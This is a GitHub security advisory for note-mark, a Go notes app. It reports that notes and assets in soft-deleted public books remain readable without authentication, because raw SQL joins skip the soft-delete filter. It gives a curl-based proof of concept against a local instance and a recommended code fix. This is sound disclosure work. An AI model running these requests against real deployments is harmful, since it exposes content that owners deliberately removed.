Skip to content

Note Mark: Unauthenticated read of notes and assets in soft-deleted public books

Moderate severity GitHub Reviewed Published Apr 22, 2026 in enchant97/note-mark • Updated Apr 25, 2026

Package

gomod github.com/enchant97/note-mark/backend (Go)

Affected versions

< 0.0.0-20260417132843-d1bf845a2a2d

Patched versions

0.0.0-20260417132843-d1bf845a2a2d

Description

Summary

After a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw JOIN books ... clauses used by the note and asset queries.

Details

DELETE /api/books/{bookID} sets books.deleted_at to the current time. The book-level endpoint starts returning 404, which matches the owner's expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter books.deleted_at IS NULL:

// backend/services/notes.go:91-98 (GetNoteByID)
func (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.Note, error) {
    var note db.Note
    return note, dbErrorToServiceError(db.DB.
        Preload("Book").
        Joins("JOIN books ON books.id = notes.book_id").
        Where("owner_id = ? OR is_public = ?", currentUserID, true).
        First(&note, "notes.id = ?", noteID).Error)
}

GORM applies its soft-delete scope to the primary model of a query (here, notes) and to implicit Joins("Book") association clauses. It does not rewrite raw SQL passed to Joins. The soft-deleted book row keeps is_public = true, so the WHERE owner_id = ? OR is_public = ? clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (currentUserID = nil), owner_id = NULL fails but is_public = true passes, so the note query returns the row.

note-mark has a restore flow at PUT /api/notes/{noteID}/restore (backend/services/notes.go:232-262) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that is_public = true survives the deletion, so unauthenticated callers keep access the owner chose to revoke.

The same raw-join pattern repeats at 9 more call sites in backend/services/notes.go (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in backend/services/assets.go (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug.

Proof of Concept

Tested against note-mark v0.19.2.

Step 1: Start note-mark.

docker run -d --name note-mark-poc -p 8088:8080 \
  ghcr.io/enchant97/note-mark-backend:0.19.2

Step 2: Alice signs up and logs in.

curl -X POST http://localhost:8088/api/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"Alicepass123!","name":"Alice"}'

curl -c alice.cookies -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"Alicepass123!"}'

Step 3: Alice creates a public book and adds a note with content. Save the IDs from each response.

curl -b alice.cookies -X POST http://localhost:8088/api/books \
  -H 'Content-Type: application/json' \
  -d '{"name":"Alice Public Book","slug":"public-book","isPublic":true}'
# {"id":"<BOOK_ID>", ...}

curl -b alice.cookies -X POST http://localhost:8088/api/books/<BOOK_ID>/notes \
  -H 'Content-Type: application/json' \
  -d '{"name":"Secret Note","slug":"secret-note"}'
# {"id":"<NOTE_ID>", ...}

curl -b alice.cookies -X PUT http://localhost:8088/api/notes/<NOTE_ID>/content \
  -H 'Content-Type: text/plain' \
  --data 'This is Alice secret note content.'

Step 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book.

curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.

Step 5: Alice soft-deletes the book.

curl -b alice.cookies -X DELETE http://localhost:8088/api/books/<BOOK_ID>
# HTTP/1.1 204 No Content

Step 6: The book endpoint 404s. The note endpoints still serve Alice's content to Bob.

curl -w "\n%{http_code}\n" http://localhost:8088/api/books/<BOOK_ID>
# 404

curl -w "\n%{http_code}\n" http://localhost:8088/api/notes/<NOTE_ID>
# {"id":"<NOTE_ID>","name":"Secret Note", ...}
# 200

curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.

curl http://localhost:8088/api/slug/alice/books/public-book/notes/secret-note
# {"id":"<NOTE_ID>","name":"Secret Note", ...}

A companion script that drives Steps 1-6 ships at pocs/poc_005_bac_soft_deleted_book.sh.

Impact

Any owner who soft-deletes a public book expecting the content to drop off the internet is wrong. Notes, markdown content, and uploaded assets stay readable for every unauthenticated caller who knows the note ID or the slug path. Slugs are human-readable and change hands in documentation, notes, and bug trackers. The leak covers every public note and asset endpoint, not a single handler. Private books are not affected because is_public = false and owner_id = NULL both fail the visibility check for non-owners.

Recommended Fix

Add a soft-delete filter to the visibility clause on every raw Joins("JOIN books ..."). Keep the owner's access intact so the restore flow at PUT /api/notes/{id}/restore continues to work:

// backend/services/notes.go:91-98 (GetNoteByID)
return note, dbErrorToServiceError(db.DB.
    Preload("Book").
    Joins("JOIN books ON books.id = notes.book_id").
    Where("(books.deleted_at IS NULL OR books.owner_id = ?)", currentUserID).
    Where("owner_id = ? OR is_public = ?", currentUserID, true).
    First(&note, "notes.id = ?", noteID).Error)

The same transform applies to each of the 13 call sites in backend/services/notes.go (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and backend/services/assets.go (lines 29, 73, 106, 143). backend/cli/clean.go:31 uses the same join pattern but is a maintenance CLI and does not need the fix.


Found by aisafe.io

References

@enchant97 enchant97 published to enchant97/note-mark Apr 22, 2026
Published to the GitHub Advisory Database Apr 25, 2026
Reviewed Apr 25, 2026
Last updated Apr 25, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS score

Weaknesses

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-41572

GHSA ID

GHSA-3gr9-485j-v4xf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.